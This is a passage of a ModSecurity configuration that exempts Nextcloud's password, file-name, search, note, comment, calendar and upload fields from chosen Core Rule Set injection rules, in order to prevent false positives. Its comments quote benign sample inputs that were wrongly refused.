SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
||||||
|
"id:900125,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:password "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:password,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:password"
|
||||||
|
|
||||||
|
# The other passwords, in form data or JSON, skip the same rules:
|
||||||
|
# password: confirming the password, resetting it, checking a sign-in with
|
||||||
|
# person/check, a public share's password, setting a share's password or
|
||||||
|
# sending it by email, creating or editing a user, and an administrator
|
||||||
|
# changing a user's password
|
||||||
|
# oldpassword, newpassword: changing the password on the settings page
|
||||||
|
# oldPassword, newPassword: changing an expired LDAP password, and changing
|
||||||
|
# the password of the encryption app's private key or recovery key
|
||||||
|
# recoveryPassword: an administrator changing the password of an encrypted
|
||||||
|
# account, or setting the encryption app's recovery key
|
||||||
|
# confirmPassword: the encryption app's recovery key, typed again
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?(?:login/confirm|lostpassword/set/[^/]+/[^/]+|settings/(?:personal|users)/changepassword|s/[^/]+/authenticate/[^/]+|apps/user_ldap/renewpassword|apps/encryption/ajax/(?:updatePrivateKeyPassword|changeRecoveryPassword|adminRecovery))$|^/ocs/v[12]\.php/(?:person/check|core/apppassword/confirm|cloud/users(?:/[^/]+)?|apps/files_sharing/api/v1/shares(?:/[^/]+(?:/send-email)?)?)$" \
|
||||||
|
"id:900126,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/"
|
||||||
|
|
||||||
|
# Editing a user through the OCS API can name the password as the field to
|
||||||
|
# change: key=password&value=..., or the same in JSON. This rule is in phase 2,
|
||||||
|
# because a phase 1 rule runs before the body is read. It checks that the body
|
||||||
|
# sends key once, so a second key cannot skip these rules for another field.
|
||||||
|
# It checks tx.app_nextcloud, since the skip above does not reach phase 2.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/cloud/users/[^/]+$" \
|
||||||
|
"id:900127,phase:2,pass,nolog,chain"
|
||||||
|
SecRule &TX:app_nextcloud "@eq 1" "chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:json\.)?(?:key|value)$/ "@eq 0" "chain"
|
||||||
|
SecRule &ARGS_POST:/^(?:json\.)?key$/ "@eq 1" "chain"
|
||||||
|
SecRule ARGS_POST:/^(?:json\.)?key$/ "@streq password" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?value$/,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?value$/"
|
||||||
|
|
||||||
|
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
|
||||||
|
"id:900103,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:dir,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:dir,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:dir,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:dir"
|
||||||
|
|
||||||
|
# The file names on a public share's page. A preview names its file in file:
|
||||||
|
# /apps/files_sharing/publicpreview/<token>?file=/powershell+profile.ps1
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files_sharing/publicpreview/" \
|
||||||
|
"id:900104,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:file,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:file,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:file,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:file"
|
||||||
|
|
||||||
|
# A download names its folder in path and its files in files:
|
||||||
|
# /s/<token>/download?path=/&files=powershell%20profile.ps1
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?s/[^/]+/download$" \
|
||||||
|
"id:900105,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:path|files)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:path|files)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:path|files)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:path|files)$/"
|
||||||
|
|
||||||
|
# The OCS API's searches and names, in the query, a form data body or a JSON
|
||||||
|
# body:
|
||||||
|
# search: /ocs/v2.php/cloud/users/details?search=python3, and the same on
|
||||||
|
# cloud/users, cloud/groups, cloud/groups/details and the sharees
|
||||||
|
# term, from: /ocs/v2.php/search/providers/files/search?term=python3
|
||||||
|
# groupid, userid, displayName: adding the group "Python3 admins" and the
|
||||||
|
# account python3, displayName=Ls+-la+Example
|
||||||
|
# groups[], or groups in JSON: the groups of a new account,
|
||||||
|
# groups[]=Python3+admins
|
||||||
|
# value: changing an account's name, address or headline, value=Powershell+Lane
|
||||||
|
# path, label, shareWith: sharing the folder "/ls -la output" with the
|
||||||
|
# label "python3 link"
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
|
||||||
|
"id:900106,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/"
|
||||||
|
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
|
||||||
|
"id:900107,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/"
|
||||||
|
|
||||||
|
# A share's note, in the query, a form data body or a JSON body, on a new
|
||||||
|
# share or a changed one: {"note":"It is fixed; diff attached"}.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
|
||||||
|
"id:900108,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:note,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:note,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:note,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:note,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:note,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:note,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:note,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:note"
|
||||||
|
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
|
||||||
|
"id:900109,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:json.note "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.note,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:json.note,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:json.note,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:json.note,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:json.note,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:json.note,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.note,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:json.note"
|
||||||
|
|
||||||
|
# An account's status, in the query, a form data body or a JSON body:
|
||||||
|
# {"message":"Tested on Windows; powershell works"}.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
|
||||||
|
"id:900110,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:message,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:message,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:message,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:message,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:message,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:message,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:message,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:message"
|
||||||
|
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
|
||||||
|
"id:900111,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:json.message "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
|
||||||
|
|
||||||
|
# The name and slogan in the theming admin settings, in the JSON field value:
|
||||||
|
# {"setting":"slogan","value":"ls -la and .htaccess"}.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/theming/ajax/updateStylesheet$" \
|
||||||
|
"id:900112,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:json.value "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.value,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:json.value,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:json.value,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.value"
|
||||||
|
|
||||||
|
# The Text editor saves a document, such as a folder's Readme.md, with its
|
||||||
|
# path in the JSON field filePath and its text in autosaveContent. The text
|
||||||
|
# skips the rules for sentences and code blocks too.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/text/session/[0-9]+/save$" \
|
||||||
|
"id:900113,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.(?:filepath|autosavecontent)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:json.autosavecontent,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:json.autosavecontent,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:json.autosavecontent,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:json.autosavecontent,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:json.autosavecontent,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:json.autosavecontent"
|
||||||
|
|
||||||
|
# A comment on a file, in the JSON field message of a new comment, and in the
|
||||||
|
# XML body of an edited one. It skips the rules for sentences too. An edited
|
||||||
|
# comment's XML holds nothing else a person writes.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+$" \
|
||||||
|
"id:900114,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:json.message "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
|
||||||
|
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+/[0-9]+$" \
|
||||||
|
"id:900115,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_METHOD "@streq PROPPATCH" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;XML:/*"
|
||||||
|
|
||||||
|
# The Files app's search sends its words in the XML body of a SEARCH request,
|
||||||
|
# <d:literal>%python3%</d:literal>, which holds nothing else a person writes.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/?$" \
|
||||||
|
"id:900116,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_METHOD "@streq SEARCH" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;XML:/*"
|
||||||
|
|
||||||
|
# The name of a new tag, in the JSON field name: {"name": "python3"}.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
|
||||||
|
"id:900117,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:json.name "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
|
||||||
|
|
||||||
|
# A file the Files app or the sync client uploads with PUT to the WebDAV
|
||||||
|
# paths is a file, not form data. Read as fields, a JSON file holding
|
||||||
|
# "python3 -m pytest" was refused (932260), and an XML file holding
|
||||||
|
# "ls -la /var/log" too (930120, 932250). The body of such a PUT is marked
|
||||||
|
# RAW, a kind of body sww does not read. Its headers, path and query are
|
||||||
|
# still checked.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
||||||
|
"id:900118,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
|
||||||
|
|
||||||
|
# The Calendar and Contacts apps, and the CalDAV and CardDAV clients of phones
|
||||||
|
# and desktops, keep calendars under /remote.php/dav/calendars/ and address
|
||||||
|
# books under /remote.php/dav/addressbooks/. A CalDAV client makes a calendar
|
||||||
|
# with MKCALENDAR, which 911100 refused.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
|
||||||
|
"id:900119,phase:1,pass,nolog,\
|
||||||
|
setvar:'tx.allowed_methods=%{tx.allowed_methods} MKCALENDAR'"
|
||||||
|
|
||||||
|
# Such a client first asks where the calendars and address books are, with a
|
||||||
|
# PROPFIND on /.well-known/caldav or /.well-known/carddav. Nextcloud answers
|
||||||
|
# with a redirect to /remote.php/dav/. 911100 refused the PROPFIND.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/\.well-known/(?:caldav|carddav)$" \
|
||||||
|
"id:900120,phase:1,pass,nolog,\
|
||||||
|
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND'"
|
||||||
|
|
||||||
|
# A new calendar or address book has its name in the XML body of an MKCOL,
|
||||||
|
# <d:displayname>Python3 and powershell</d:displayname>. An address book's
|
||||||
|
# MKCOL may also hold its description (900124).
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
|
||||||
|
"id:900121,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_METHOD "@streq MKCOL" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;XML:/*"
|
||||||
|
|
||||||
|
# The XML body of an MKCALENDAR holds the new calendar's name and its
|
||||||
|
# description. The description is a sentence, and two rules for sentences
|
||||||
|
# refused it too:
|
||||||
|
# 932125, 932230: Powershell and python3 meetings; ls -la first
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
|
||||||
|
"id:900122,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_METHOD "@streq MKCALENDAR" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
||||||
|
